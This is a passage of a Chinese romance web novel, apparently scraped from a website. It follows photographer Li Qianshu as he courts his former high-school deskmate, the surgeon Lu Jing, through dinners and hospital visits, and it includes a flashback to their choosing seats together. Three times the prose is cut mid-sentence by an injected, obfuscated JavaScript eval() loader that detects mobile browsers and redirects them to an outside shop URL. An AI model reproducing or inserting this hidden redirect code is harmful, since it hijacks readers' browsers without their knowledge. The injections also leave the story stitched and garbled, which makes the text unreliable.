倪文倩就笑,想到陆璟从来到这个医院开始,专业能力是没得说,但人总是冷淡,跟谁都不近。也就是倪文倩后来发现他们高中有点渊源在,又时不时有个问题要请教,才跟他慢慢熟起来。 不过这话也有开玩笑的成分。 陆璟这样的条件,交朋友也是轻而易举的一件事,只看他想不想。 “他长得是真好看,难怪以前那么受欢迎呢。”倪文倩说时光这种东西真是偏心,她都买那么多护肤品保养了,还是多长了一缕皱纹,值一次夜班还要冒痘。 但黎千树看起来就没有这东西,皮肤嫩的还跟十几二十岁似的,真是令人羡慕。 “不过人家现在肯定也一样受欢迎,好看的人在哪儿都被人喜欢,就是不知道有对象没有……”倪文倩的思维一会儿跳一下的,“哎陆医生,你把他微信推给我呗。” “做什么?”陆璟终于从手机屏幕里抬头理她。 倪文倩一脸他不懂的表情,滑着无聊的朋友圈说:“人这么帅我加个微信啊,没事翻出来看两眼,赏心悦目的,对自己心情好。” 陆璟看她一眼,转回去,冷冷淡淡地吐出两个字: “不给。” 8. 08 黎千树回到家,收到了陆璟发过来的微信好友申请。 陆璟的微信头像跟他q.q用的一样,都是那张风景照,应该也是工作号,朋友圈没有分享日常内容,极少数地,偶尔转发一条医院公众号的科普文章,除此以外再没别的了。 黎千树又检查了眼自己的朋友圈。嗯,都正常。 相比之下,黎千树的朋友圈要精彩很多,有工作上的,也有自己生活上的分享。虽然是摄影师,分享日常的照片却拍得比较随意,没那么讲究,显得很有活人感。 加上之后他们没有聊太多,大概是医生本身就忙,陆璟也不是会主动聊天的性格,两人打了个招呼之后,偶尔聊两句,就没说别的话了。 黎千树说要请陆璟吃饭,一时间也没想好要去哪儿吃。 他将以前聚餐过吃饭的那些店都找出来看了看,都是适合人多的场合。他也是跟着大家一起去,而自己一直以来几乎没有主动约过别人吃饭,所以并不擅长找店。 就连之前跟几个相亲对象见面吃饭的店和咖啡馆,都是齐彬推荐的。因为产生了不怎么愉悦的相亲记忆,所以他暂时还不想再去那几家店。 也正好陆璟这周有点忙,黎千树就没太打扰对方。 过了小一周,他跟齐彬还有安琪一块在清吧小酌的时候,齐彬才问起来:“你前两天不是还找我要吃饭的地儿吗,进展怎么样?” 黎千树说还没吃呢。 “都几天了?”齐彬挑眉,“还没吃上?” 黎千树上次问了陆璟,他有手术没约上,感觉是挺忙的,之后自己也没提。 齐彬“害”了声,说医生是忙。 安琪咬着吸管问:“谁啊?” “他去参加高中同学会,碰上个以前的老同学,合他眼缘,上心了。” 齐彬利落地解释完,安琪探究的眼神落回黎千树脸上,故作惊讶道:“真的啊?还有我们黎摄影师能看上的人?” 她这话打趣的意味很足。 安琪是他们大学同学,因为长得漂亮,被模特公司的经纪人看中,安琪签了五年,是公司里的发展算是中规中矩,饿不死但也排不上顶层,不过自己会经营平台,攒了些名气,现在是自由模特和穿搭博主,拍拍视频接点广告。 上次黎千树闲着给她拍了组写真,呈现效果很好,点赞爆了,她心情好,请他俩吃饭喝酒。 她在模特公司那几年,也给黎千树挑了几个身材不错长得也好的同事,但黎千树都没兴趣。 安琪问:“得什么样啊?带出来我们瞧瞧。” 黎千树默默喝了口酒,“八字还没一撇呢。” “那还不赶紧把那一撇划上。” 安琪说他好不容易遇到个钟意的还不主动点。 黎千树在这方面是真的没经验,不过吃饭还是要吃的。他还有问题没问的。 跟朋友聚完,他回去就打开聊天页面。 黎:【陆医生,明天你还忙吗?】 黎:【最近有空吃饭吗?】 那会儿时间挺晚了,没想到这次陆璟消息倒是回得挺快。 陆:【后天可以。】 黎:【你有没有想吃的店,或者合你口味的餐厅?】 陆:【都可以,我不挑。】 陆:【你选好后发给我,我来订。】 黎千树笑着回:【那怎么行,说好我请你的。】 黎:【我来选?】 陆:【好。】 黎千树又切出去,从齐彬发来的那两家店里挑了个看起来菜色更好的。 他打了个电话预约一间双人包厢,然后将这家店的位置分享给陆璟,约好具体时间。 当天黎千树是从工作室过去店里的,走的时候又被拖了会儿,晚了几分钟到。 那时陆璟已经等着了。 他是赶过去的,走路带着点急,进到他订的那个小包间的时候,陆璟看过来,眼神里也藏着一丝难以言喻的愕然,见到是他本人,微微拧起的眉很快松开,恢复平静。 “不好意思,我又迟到了,”黎千树带着歉意坐下,气息不怎么稳,仍然说,“真的很抱歉。” “没事,”陆璟倒了杯水递过去,话音温和,“怎么这么急?喝点水。” “着急见你啊。” 话音刚落,两人目光正好对上,皆是愣了下。 这话说得有点令人误会,黎千树脸轻轻热起来,又立刻补充:“……我的意思是,我怕你等久了。” 他瞥开视线,拿起杯子默默喝了一口水咽下去。 陆璟也往旁边挪了挪目光,说:“不会,你来了就好。” 不知道为什么,明明两人也没有说什么话,黎千树却觉得这会儿气氛有点莫名带着点温度。 “看看菜单,”陆璟说,“我没来过这家,不知道点什么合适。” 黎千树的呼吸缓和过来,低头扫着上面的字眼,按照齐彬推荐的菜品,一边问陆璟有没有什么忌口的,一边选了几个菜,然后又推给对方,“你看看有什么要加的吗?” 他选了三菜一汤,已经够两个人吃了,陆璟就没有再加。 这家店氛围挺安静,包间门一关,更是听不到什么吵闹的声音。 两个人在方形格局里面对面坐着,空气里有淡淡的茶气,一时间都没有说话。 陆璟安静看着眼前的人。 今天黎千树跟之前似乎又不太一样。天气在慢慢降温,夜里凉,他穿了两件,里面是细条纹衬衫,外面套了件短点的薄毛衣,袖口的地方也扯出来,显出层次感。还戴了顶黑色贝雷帽,和身上衣服很配,有点艺术家的气质,在这张精致的脸蛋下显出生动。 黎千树一直很会穿衣服,哪怕在学校只穿单调的校服,里面也能搭得好看。 但陆璟不一样,他的衣服永远是基础款,哪怕是现在,衣柜里依然都是简单的不出错的基础款。 陆璟说:“帽子很适合你。” 黎千树笑了笑,“这个?我妈国庆旅游带回来的。” 听得出来,他跟他妈妈的关系应该很好。 “阿姨很会选。” 黎千树说还行吧,既然买了就戴着。 两人的话匣子借此打开,黎千树想起刚刚问对方的忌口,他只说不吃太辣,不吃笋。 “你不喜欢吃笋?”黎千树问。 陆璟点点头:“嗯,不喜欢。” 黎千树问为什么,它是脆的,挺好吃的啊。 “小时候不喜欢它的口感,但是吃了很多,变得讨厌这个食物。” 黎千树点点头,不过神情有些不太理解,明明不喜欢,为什么还是吃了。 陆璟似乎看出他的疑问,解释说:“我母亲觉得我不该挑食。” 黎千树眉头轻轻皱起来,他仍是无法理解给孩子吃不喜欢的食物这种行为。至少,曲海春和黎大钧从来没有这样做过。 这个话题似乎有点沉重,他想了想问:“那你母亲现在是……也在明海市?” 对方轻轻摇头,“她在a市,在那边再婚了,没有跟我回来。” 陆璟说这样也好。语气里带着一丝放松。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849549|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 聊着聊着,菜就上齐了。 陆璟这个时候已经将碗筷烫了一遍,把黎千树的那份也推过去。 黎千树说谢谢。他们开始吃饭。 黎千树不免看向对面,聊起母亲的话题,陆璟似乎情绪不高,平和的态度里有些许冷淡疏离,不甚明显。 吃饭时又将那点情绪细细收回,变成一贯的温和。 成年人的成熟隐忍尽显于此。 黎千树换了话题,问起他工作上的事情,比如他为什么会选择学医,胸外科主要是治疗哪些病症的,又为什么选择胸外,检查的时候会听心跳吗。 他问得认真,好像是真的想知道答案。因为他的提问,两人之前总有话题聊,场面不存在尴尬。 陆璟一个个地给出回答,没有丝毫不耐。 “因为我父亲是医生。” “主要是胸腔内,胸、肺、气管、食道等这些病变,常见的就是……比起别的专业,对胸外要更感兴趣点。” “会听,有时候需要听心跳。” 黎千树边听边点头,脑海里冒出来一个想法,问:“那……如果是医生靠近听诊的时候,病人心跳乱了怎么办?” 陆璟反应了下,没有想过这一层面:“为什么会乱?” “比如医生太帅了,如果遇到陆医生检查,很容易会心乱吧。” 说这话的时候,黎千树是直勾勾盯着对方的。 陆璟动作顿了顿,没表示出慌乱,只是淡声询问:“会吗?” “会啊。” 黎千树大方又坦然,眼眸染上点点笑意。 在这样的视线下,很难一直与面前的人对视。 陆璟轻轻别开视线,抿了口水。 黎千树把他的动作望进眼里,不知道为什么,他觉得陆医生好像是有点不好意思了,尽管他面上仍然是冷静自持的。 陆璟很会隐藏自己的情绪。 也许是高中两人并不算陌生,所以黎千树又能巧妙地察觉出来一点他的想法。 陆璟没给出回答,他也贴心地没有追问。 后面两人认真吃饭。 偶尔,黎千树会抬眼看向对面的人。 陆璟吃相安静,其实吃饭时不怎么讲话。 就像刚刚两人交谈时,陆璟都会礼貌地停下筷子,将食物完全咽下去之后,再看着自己认真给出回答。他的言语不会夸张,语气平和,用词自然舒适。 有一种被尊重的感觉。 尤其是见了好几个相亲对象,跟他们面对面吃饭、喝过咖啡之后,这种尊重感和分寸感,让黎千树相处得很舒服,又很难得。 在第三次黎千树探究的目光看向他的时候,陆璟默默停了筷子,望过来:“你,似乎对我有很多问题想问?” 他这样看起来就像是在说,问吧,我会回答你。 似乎黎千树不管问多少问题,普通的不普通的,平常的不平常的,他都会回答。 一副耐心的模样。 黎千树不自由扬了扬嘴角,也放了筷子。 “陆医生。”他叫他。 “我确实有很多问题想问,但我现在只想问你一个问题。” 黎千树微微撑着脸,坦然又直接地看向他,看向他薄薄镜片后那双温和沉静的眸。 陆璟没有说话,等着他发问。 “你是单身吗?”黎千树问。 陆璟眼睫动了动,很不明显地,他感觉自己呼吸有点紧。 “是。”他回答。 “好巧,”黎千树眸光闪烁了下,“我也是。” 9. 09 黎千树最近有在跟陆医生聊天。 大多数情况下,想要了解一个人,靠近一个人,都是从聊天开始的。 他俩也没有聊很多话题,就是每天早上问个好,提醒天气降温,让陆医生记得加衣服,别感冒什么的。日常嘘寒问暖。或者给他分享一下在外面遇到的好看的景色,云啊树啊小猫小狗什么的。 都是些很平常的话题。 毕竟黎千树也想不出来什么别的话题了。 陆医生的确是忙。 通常黎千树早上九、十点多醒来给对方发“陆医生早”的时候,其实人家早已经开始上班了。 陆璟消息回得不及时,他手头上每天有不少病人,还有手术,不是一直有空看手机。有时候连着做手术,几乎是六七个小时之后才会出现。 但他看到消息的时候,就会一一回复黎千树。 陆:【嗯,你也是。】 陆:【云很好看。】 这会儿还在回复早上黎千树给他发来的信息,一条让他多穿点,一条分享今天天气不错的云的照片。 陆璟回复得一板一眼,黎千树咬着筷子笑了下。 “乐啥呢?”齐彬看他饭也不吃了。 “没有。”黎千树敛正神色。 齐彬瞅他,说:“还没有,高兴就别憋着,又是你那陆医生呢?” “嗯。” 黎千树敷衍地回应他,问对方:【忙完了陆医生?吃饭了没?】 陆:【刚下手术,在吃。】 他们当医生的,忙起来饭点都不能按时吃,而且时间有限,囫囵吞枣地吃完,又要继续赶下一台手术了。 黎千树说我也正在吃。 他顺手拍了张照片过去,都是点的餐馆的外送,色香味俱全。 陆璟回复他说看起来很好吃,又拍了张自己的饭,是医院食堂打的。这个就看起来伙食一般,不过荤素搭配,营养是有的。 黎千树回了个表情包,说陆医生要多吃点,才有力气干活。 对方回了个“好”,也让他黎千树多吃点,说他瘦。 黎:【我瘦吗?】 陆:【有点。】 黎千树没觉得自己瘦,算正常体型的吧,他身边接触的的模特们倒是瘦得明显,个个都身材管理不多吃。 他夸张地跟陆璟说其实自己有吃很多! 聊完放下手机,齐彬还盯着他看,问:“你们聊什么呢这么开心?” “聊吃饭。” “就这?” “昂。” 黎千树还给齐彬扫了眼记录,还真是说吃饭,齐彬不客气地点评:“聊得够无聊的。” 他说你俩都多大了,聊点成年人的话题行吗。 黎千树懒得理他,吃自己的饭。 不过他也确实不知道聊什么别的内容,在主动方面真是没经验,以前都是别人跟他示好,约自己出去玩。但是陆医生又这么忙,也没空出去玩。 比起聊什么,黎千树觉得似乎更应该见面。 两天后,工作室晚上一起吃饭,黎千树也跟着去了。 选的那家店是另外一位制片推荐的,在一条不宽不窄的巷子里,虽然店面不是很大,但很干净,味道也可以。就是不好停车。 当天那顿餐味道不错,黎千树胃口一向挑,也觉得挺好吃。 又想到陆璟给自己发的食堂饭,不免心思一动。 下午两人聊过天,今晚陆璟是要值夜班的。 于是一行人吃完准备转场的时候,黎千树没有去,他打包了一份海鲜粥,一份反沙芋头,毕竟当宵夜,份量都不多,免得对方吃不完。 从店里打车到医院住院部。 司机是位上了年纪的男士,他看了眼黎千树,顺口搭话道:“小兄弟,这么晚了还去医院,有家属啊?” 他以为是医院有自己的家属在住院。 那倒不是。 黎千树说:“没有大哥,我找医生呢。” 对方“啊”了声,刚上车时就注意到黎千树拎着的打包盒了,原以为是给病人带的,这样一听,是给医生的。 “那是在值班了。” “嗯。” 对方就笑,打趣着问:“对象呢?” 还特意给值班的医生带吃的,人又年轻,估计就是在谈恋爱,才这么腻乎。 黎千树就笑笑没接话。 下了车他直接进去,到了楼下,黎千树没有急着上去,看了眼自己拎着的食物,先给陆璟打了个电话。 这还是同学会重逢以来,两人第一次打电话,之前都是发消息沟通的。 听到电话里传来两下“嘟——”的声音。 很快,那头就被接起来。 “喂。” 微沉的声线,又带着一贯平和的熟悉的感觉。莫名地,黎千树心有点跳。 黎千树开口:“陆医生,是我。” 电话里,陆璟低低地“嗯”了一声,话音放得柔和:“我知道。” 安静的氛围里,低沉的嗓音仿佛就贴在自己耳边说话,黎千树不自觉摸了摸耳朵,缓了两秒才说:“你现在忙吗,我带了点宵夜。” 陆璟先是顿了顿,看了眼时间,很晚了,以为他还没过来,便说:“不用带的,很麻烦,你不用特意过来。” “不麻烦陆医生,”黎千树带着点笑意,又很礼貌地问,“我已经到楼下了,现在上来方便吗?” 陆璟不知道在想什么,似乎是怔了两秒才回答:“方便。” 黎千树按电梯上楼。 一层一层,数字跳动。 直到“叮”地一声,门打开,黎千树还没出去,先看到了等在电梯门口的陆璟,依旧是那身白大褂。 两人对视。 黎千树也没想到对方特意过来等着自己,他意外道:“陆医生,你怎么过来了。” 大概是夜里不少病人都已经睡下了,整栋楼很安静。 黎千树跟他并排走在一起,不自觉放轻了脚步。 进了值班室,里面空间不算大,也有些简陋,他问:“只有你一个人啊?” “嗯。” 黎千树将餐盒放在桌子上,说:“随便买了点,不过这个粥很好喝,想让你也尝尝。不想吃的话,可以留着明天当早餐。” 他说话的时候是垂着眼的,陆璟站在他身侧,灯光打下来,可以看清他纤长眼睫投下的那层淡淡阴影,盖在眼睑处。 “谢谢,”陆璟问,“多少钱,我转给你。” “不用啊。” 陆璟没应声,已经拿着手机看起来就要转钱了,黎千树手搭上他手腕,做了一个阻止的动作。 “真不用,陆医生。你难道看不出来……我是想来见你嘛。” 后面那半句话是黎千树压着声说的,带着几分含糊。说这种话,黎千树确实有点不太好意思。 每天只在微信上聊天是不够的,毕竟陆璟现在的这张脸,这身气质实在很符合他的审美,想多见一见也很正常。 陆璟低垂的视线从他搭在自己手腕上那白皙分明的手指,缓慢挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849550|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 至黎千树的眼睛里。 目光两两相接。 黎千树先一步松开了他,不知道是不好意思,还是被看得不自在了。 “陆医生你先尝尝,应该还是热的。” “好。” 陆璟答应着坐下来,他打开包装,粥的确还冒着丝丝缕缕的热气。 秋夜寒凉,这份粥带着温暖的气息闯进冷清的值班室里。 陆璟问身旁的人:“要不要再吃点?” “我吃过了才来的,不吃了。” 黎千树撑着脸坐在他旁边的位置,看陆璟舀了一勺尝进嘴里。 “味道很好。”陆璟说。 黎千树笑了笑,“是不错,店里吃的话味道会更好些。” “自己去的?” “不是,晚上在跟同事们聚餐。” 陆璟点了点头。 两人就这样有一茬没一茬地说了几句话。 窗户上响起点点雨声,一颗一颗地砸在玻璃面上,黎千树起身去看,刚开窗,就有几滴雨水落在他手背,湿湿凉凉的。 他又给关上,望着这黑天的雨不禁皱了下眉:“下雨了。” 他没带伞。 夜里的秋雨来得缓。 黎千树站在窗边,身上薄衫折进去,掐出一把劲瘦紧致的腰身,烟灰色的阔腿裤贴着翘圆臀型,延伸出一抹勾人曲线。 外面光亮稀薄,室内的白光却有些强烈,衬得他后颈连同耳廓那一片都显出亮眼的光。 仍然是白,也还是瘦。 但比起高中时期的瘦削的肩骨脉络,单薄身形,现在的黎千树明显是更加成熟。 一棵舒展生长的树。 隔着镜片,陆璟的眼眸不自觉浅浅眯了下。 趁现在雨还没下大,黎千树主动说:“我得走了陆医生。” 他回过身,不知何时陆璟已经起身过来,手腕被很轻地攥了下,又立刻分开,陆璟说:“有伞,我给你拿。” 说着他便从旁边的储物柜里找出一把藏青色的雨伞。 “我送你下去。” 黎千树听着外面的雨声,说:“不用陆医生,你还在值班,万一病人有情况找你怎么办?” 这下去时间也不短,不怕一万就怕万一,黎千树也不好耽误对方的时间。 他拿过雨伞,说:“谢谢了,下次我再带过来。” “抱歉,不能送你。”陆璟很正式地表示自己的歉意。 黎千树却是笑了笑,没把这种事放在心上,“这有什么的。” 陆璟一时沉默,静静地看了他一会儿,嘱咐道:“到家了发个消息。” “好。” 雨声淅沥沥地响起来,雨势似乎大了些。 黎千树垂眸看了看手里的这把伞,又蓦然间抬头,跟陆璟没来得及收回的视线相碰。 空气带着一丝潮湿、黏着。 陆医生落在自己身上的目光,似乎总是温和克制,维持着该有的礼貌与距离,像一汪静湖。 但有时候,黎千树也想让这面湖泊泛起涟漪。 “陆医生。”黎千树又忍不住叫他。 “嗯?” “如果我经常来医院找你,你会觉得烦吗?” 黎千树这样问他,目光直直地,没有挪开半分。 陆璟在这双清明的漂亮的眼睛里望见自己的倒影,也仿佛望见多年前自己那不值一提、微不足道的身影。 “不会。” 他只会觉得窗外秋雨聒噪不停,打在潮湿的一颗心脏上。 10. 10 安琪的那组照片火了以后,她在评论区里特意@了摄影师黎千树。 黎千树一直都有自己的社交账号,但没怎么发过东西,只有两张日常工作的图,没有本人的照片。 之前助理小何还拍过境白工作室的日常vlog分享,黎千树在里面有出镜,很快就被关注到,被评价为最帅摄影师,涨了一些粉。 现在,因为安琪的照片,黎千树又在开始涨粉了,私信也不少,都是问他接不接约拍。 其实那组照片是他随便拍的,都没用什么专业的相机,只是最近很流行这种旧旧的复古风格。 他拍的照片很会捕捉动态,每一张都显示出活力。以前给安琪拍的几组也都好看。 黎千树大多数时候都在摄影棚里面拍商业风,快速,效率,不用过多沟通,修图也快。因为工作室安排的工作量已经足够,他没必要再私底下兼职接别的拍摄。偶尔心血来潮的时候,才会拍拍人像。 不过最近没空。 黎千树直接在主页账号的简介里写暂时不接约拍,商务联系境白摄影工作室的邮箱。 安琪也来替她的朋友们问,黎千树说真没空拍。 他在工作室也不是天天需要开工,安琪就问:你在忙什么呢,接点私活赚钱还不积极,我这些认识的博主都很大方的,你价格定高点也没事。 黎千树说我忙着去医院。 你生病了啊?安琪诧异地问,后来才想起来,医院有个陆医生在。 一场雨断断续续地下了好几天,天又放晴。 黎千树拎着午饭,顺便也将陆璟的雨伞还回去。 他最近出现在市立医院的频率有点高。当然,这是与他之前一年到头都不怎么去医院的次数相比。 其实也不算高,隔几天出现一次。毕竟天天往人家那里跑也不好,耽误人家休息,也容易给他的同事们造成影响。 黎千树保持着三四天出现一次的频率,在陆医生面前露个脸。这样时不时见上一面,感觉还挺好的。 唯一一点不好的,就是带东西过来,陆璟一定会给他转钱。 那天下雨回家之后,陆璟也给他转了,黎千树没有收。 第二次又这样,黎千树直接跟他说“陆医生你再转的话我真的要生气了”,对方才作罢。 顺便他也加上了倪文倩的微信,在倪医生那里,黎千树得到了很多关于陆璟的情报。 所以对他的工作时间还算了解,就每次等到快吃饭的时间点过来。 每周三上午是陆璟固定门诊的时间。 中午黎千树带着保温盒过来,在外面等着,听到传来对话的声音,陆医生说话的语气不紧不慢,态度很是好。 直到那位患者出来,黎千树看了眼时间,才敲门:“陆医生,忙完了吗?” 陆璟也在收拾东西,坐在电脑桌前,抬眼望向门口探进来的半截身影,镜片滑过薄薄的光。 “一起吃午饭?”黎千树邀请道。 今天的午餐,不是他在外面餐馆买的,而是从家里带的。 两天前,黎千树特意给曲女士发消息:【亲爱的母亲大人,前些天您做的莲藕排骨汤特别美味特别好喝,请问我有幸还能再喝一次吗?】 今天,他就拎着这汤来找陆医生了。 黎千树特意给陆璟介绍说这是他妈妈炖的汤,非常好喝。 “因为她很会挑藕,”黎千树认真道,“炖汤得用粉藕才好吃,她能分辨出哪种莲藕是炒着吃的,哪种又是用来炖汤的,在我看来,它们长得没有任何区别。” 炖汤黎千树只喜欢吃粉藕,口感好,汤也浓郁。 陆璟安静地听他说,他对自己母亲挑藕从来没有出错过的能力感到诧异,因此说话的时候,眼睛不自觉微微睁大,眨着眼睫亮晶晶的。 陆璟嘴角挂上淡淡笑意。 “嗯,那阿姨很厉害。” “我也觉得,”黎千树认可地点头,“不知道她怎么做到的。” 他说曲女士在很多地方都挺厉害的,甚至能准确找到他想不起来放在哪里的东西,好像有一种超能力定位。还有,就算自己人不在,曲女士在店里随便给他买回来的衣服都很合身,从小到大都是这样。 他能把一件很普通的事情也说得有趣,也总能发现工作和生活里一些特别的点。 对比起来,陆璟自己日复一日的医生工作,实在算得上贫瘠无趣。 黎千树不怎么饿,没有吃多少,说完又盯着陆璟安安静静地看了会儿。 陆璟吃相斯文,但吃得并不慢,也许是经常时间紧张养成的一种习惯,如果不用赶手术,他才会吃得缓慢一些。 “你不吃了?”陆璟问。 黎千树摇摇头,说:“我吃饱了。” 陆璟轻轻皱眉:“这么点?” “我不饿。” 黎千树胃口不大,不工作的时候饿得尤其慢。 等对方吃饭的时候黎千树安静下来,连连打了两个哈欠,泪眼朦胧,睫毛湿湿地快要黏在一起。 “困了?”陆璟问他。 “有点,”黎千树撑着下巴缓缓眨眼,语气也懒懒的,说,“熬夜修片,睡晚了。” 工作室其实有修片师,但黎千树更喜欢照片在自己手里的感觉,按照他自己的审美来,所以通常会自己修。 熬了个大夜凌晨三四点才睡,早上曲女士又过来一趟,拢共没睡几个小时。 “下午有工作吗?”陆璟问他。 黎千树摇头,今天没安排拍摄,可以休息的。 “去我的休息室睡一下。” 黎千树轻轻惊讶:“你有休息室?” “嗯。” 陆璟点头,说只是一个小的私人独立休息室,偶尔下了手术,可以在里面躺一下。 他领着黎千树过去。 在长廊尽头的位置,虽然空间不大,一张小床,桌椅,置物柜,没有太多东西,放了一些个人物品。桌上有一瓶免洗消毒液,几本书,两支笔。都被收拾得干净整洁。但胜在安静,的确很适合休息。 他们医院各种待遇条件都算好的了。 黎千树忍不住打趣:“不愧是副高。” 陆璟顿了顿,问他从哪儿知道的。 “倪医生告诉我的,他说你是整个院里最年轻的副主任医师。” 倪文倩还说,去年年末赶上最忙的时候甚至有十来台手术等着他,连个吃饭的时候都没有,更别提休息了。 黎千树夸他:“陆医生,你真的很厉害。” 当然,他也知道,陆璟一直都很努力。黎千树这话夸得真心诚意,眼神也是直直盯着面前的人。 陆璟有一瞬的恍惚,回过神来不太自在地别开视线,轻咳了声,说:“不是困了吗,先休息吧。” 黎千树笑,觉得陆医生大概是有点害羞了。 “那我……真的躺了?”黎千树坐在床边问他。 “嗯,睡吧。” “你现在要走了吗?”黎千树又问。 陆璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆璟没接话,懒得理。 倪文倩心情平静下来后,有些意外陆医生居然把自己的私人休息室借出去了。 不用想也知道,陆医生的个人领地意识很强。 又想到很久之前,有个人想追陆医生的时候,也是给他带饭带吃的,但那个时候,陆璟就是一口没吃,绝情又冷漠地从人家身前略过去了。 有时候陆璟冷起脸来,还是挺不近人情的。 陆医生不喜欢别人给他送饭,他说不需要,但显然黎千树不在这个范畴里。 外加上这几天黎千树也是时不时在微信上问自己有关于陆璟的事情,应该也是很久不见了,打听不少。倪文倩琢磨了下问:“陆医生,你跟黎千树,真的是朋友吗?” “高中……”她这两天跟自己以前的高中朋友聊了挺多,慢慢回忆起来,“似乎,也不见他身边的朋友里面有你的身影啊。” “之前瞿教授很想把他女儿介绍给你,那么好的条件,后面也是也有人明里暗里向你示好,都不见你有回应,倒是一个同学会,跟范医生换班也要去。” 他可是从来不愿麻烦别人的。 倪文倩说完一长串,眼神不由得眯了眯,像是理通了一般:“我看是在意某个人吧?” 话音落下的时候刚踏进办公室,陆璟脚步顿了顿,侧身看向她。 11. 11 黎千树一直认为自己的高中生活过得……挺普通的。他的整个学生时代好像都是那样,没什么特别。 一出生就在明海市生活,先上中心幼儿园,升启航小学,然后进实验中学,再考上明海市第三中学,也就是三中。 虽然成绩没有名列前茅,但也不会落下太多,一直徘徊在中等偏上的那一列。 家里对他学习上的态度都是顺其自然,没有给过太大压力,玩的时候玩,学的时候学。只是偶尔下降得太明显,才会敲打敲打。 每个阶段黎千树都在交新朋友,但迈入新的学校,以前的那些朋友又都散了,不到绝交的地步,只是自然而然地联系少了,各自时间对不上就慢慢淡掉了。 他不是会刻意维持关系的性格,碰到了就一起玩,没碰到也不去打扰对方。 初中搬到新小区,邻里之间认识起来,黎千树的新朋友便是楼上那家的儿子陈时谦,跟他差不多大,也在实中上学。 后来两人又一起上了市一中,虽然没分到一个班,但住得近,一块儿上下学,关系自然要比别的男生近些。 那时候在班上也有一起打球关系不错的,他们几个人经常前前后后地从走廊经过。 青春期里的少年每天都能量充沛,跳起来连头发丝都蓄着一股活力气息,金色的阳光穿透。挺闹腾的。黎千树有时候跟他们闹,有时候也安安分分地认真学习,反正全凭他心情来。 他几乎不扫朋友的兴,又大方爱请客,对女生态度也好,没多久就成为班上人缘最好的男生。 也是在高中,黎千树抽条明显,高了不少,皮肤白净,五官好看又总带着笑,还会穿,会打篮球,在那个青春尚且懵懂又悄悄萌芽的时期,很快就成为了被喜欢的对象。 第一次被表白的时候还挺懵的,高中的表白似乎跟初中小学都不一样,带着一点紧张的认真的性质,不是玩笑,黎千树在好多人的起哄声轻轻皱眉,为了不驳女生的面子,努力斟酌拒绝的话。 后来被表白的多了,他也学会从善应对,拒绝得很有分寸。 他的成绩在班里中规中矩,进步退步都不明显,还算令人放心,老师也挺爱逗他的,黎千树坐哪儿都是焦点。 那时候班上成绩顶好的,就是班长、学委,以及没有担当班里任何职务的陆璟。 在学校学习,每周放假就跟朋友出去玩,喊朋友来家里玩,或者打球上网玩游戏,返校前急急忙忙补作业,整个高中,他都是这么过来的。 也就是高二下学期,黎千树对游戏入迷有点玩得狠了,心思不在学习上,期末考试退步很明显。 一向温柔的曲海春都神情严肃了,问他怎么回事,突然退步这么多,开学就高三了,也就这一年,这个节骨眼还是得认真点。 她说得拧眉头,黎大钧在旁边给自己老婆顺气,又向黎千树使眼色,让他赶紧说几句好听的表示下。 他家就是这样,一个生气了,另一个就哄着,反正很少有两个人都横眉竖眼的时候,生气也就那一会儿。黎千树从小到大还算省心的,没有惹过什么大麻烦。 高三开学第二周,下午有节班会课,冯超元从办公室出来,碰到正上楼的黎千树,跟他碰了一下,说:“班会肯定要调座位了,我都看到林老师桌上的那张成绩表了。” 林老师就是他们班主任。 上学期班上成绩整体都在退步,林老师一开学就板着张脸,马上安排换座位,按上次考试成绩来挑。 黎千树心不在焉地站在后面的窗户边,听班主任一个个喊人进去选座位。 午后阳光斜斜地铺在长廊,刚开学不久,秋日下的燥热还没消。 冯超元在耳朵边一直嘀嘀咕咕,黎千树想起难得严肃的曲海春的话,以及后面黎大钧跟他说:“千树,就这一年,高三好好学习,收收心,毕业爸爸就给你换个新相机当礼物,你过年说想要的那款。” 那相机挺贵的,还容易没货,得提前预约着才能拿到。 黎千树想还是要认真学习。 所以那一天,他决定选成绩表上的第一名当自己的同桌,近朱者赤,好让学霸带一带自己。 只是刚好,那一次考试的第一名——是陆璟。 又正好,没有人坐在他的旁边。 黎千树就这样直接走过去,出于礼貌地询问:“陆同学,我能跟你坐吗?” 陆璟抬了抬头,说可以。 黎千树在他旁边坐下,撑着脑袋想普通的高三生活又要开始了。 也有人,不再普通的高三生活,也要开始了。 醒来的时候,黎千树隐隐听到有翻找东西的声音,但动作放得很轻。 他睁开眼,望见很像是陆璟的身影,有点逆着光,看不太真切,只有一个熟悉的轮廓。 黎千树动了下,眨几下眼睛,想让视线能更清楚分明,直到对方转过身来,银色镜腿滑过一抹光亮,最后定在边框那处。 黎千树盯着那点亮看,像在发呆,眼睛眨得缓慢。 “吵到你了?抱歉。”陆璟说,他过来拿个东西。 “没事。”黎千树刚睡醒,还懒懒的有点不想动,发现自己身上盖了床薄被,挺暖和的。 看了眼手机,竟然睡了两个小时。 